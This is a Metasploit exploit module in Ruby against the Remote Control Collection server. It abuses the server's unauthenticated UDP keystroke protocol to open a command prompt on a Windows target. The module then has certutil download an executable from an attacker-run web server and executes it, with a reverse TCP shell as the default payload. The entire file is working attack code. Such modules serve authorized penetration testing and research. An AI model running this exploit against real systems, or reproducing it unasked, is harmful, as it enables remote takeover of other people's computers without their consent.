##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Exploit::Remote::Udp
include Exploit::EXE # generate_payload_exe
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Control Collection RCE',
'Description' => %q{
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'H4rk3nz0' # edb, discovery
],
'References' => [
[ 'URL', 'http://remote-control-collection.com' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
['default', {}],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'WfsDelay' => 5,
'Autocheck' => false
},
'DisclosureDate' => '2022-09-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
]
)
end
def path
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
"#{datastore['PATH']}\\"
end
def special_key_header
"\x7f\x15\x02"
end
def key_header
"\x7f\x15\x01"
end
def windows_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
sleep(datastore['SLEEP'])
end
def enter_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
sleep(datastore['SLEEP'])
end
def send_command(command)
command.each_char do |c|
udp_sock.put("#{key_header}#{c}")
sleep(datastore['SLEEP'] / 10)
end
enter_key
sleep(datastore['SLEEP'])
end
def check
@check_run = true
@check_success = false
upload_file
return Exploit::CheckCode::Vulnerable if @check_success
return Exploit::CheckCode::Safe
end
def on_request_uri(cli, _req)
@check_success = true
if @check_run # send a random file
p = Rex::Text.rand_text_alphanumeric(rand(8..17))
else
p = generate_payload_exe
end
send_response(cli, p)
print_good("Request received, sending #{p.length} bytes")
end
def upload_file
connect_udp
# send a space character to skip any screensaver
udp_sock.put("#{key_header} ")
print_status('Connecting and Sending Windows key')
windows_key
print_status('Opening command prompt')
send_command('cmd.exe')
filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
filename << '.exe' unless @check_run
if @service_started.nil?
print_status('Starting up our web service...')
start_service('Path' => '/')
@service_started = true
end
get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
send_command(get_file)
if @check_run.nil? || @check_run == true
send_command("del #{path}#{filename} && exit")
else
register_file_for_cleanup("#{path}#{filename}")
print_status('Executing payload')
send_command("#{path}#{filename} && exit")
end
disconnect_udp
end
def exploit
@check_run = false
upload_file
end
end
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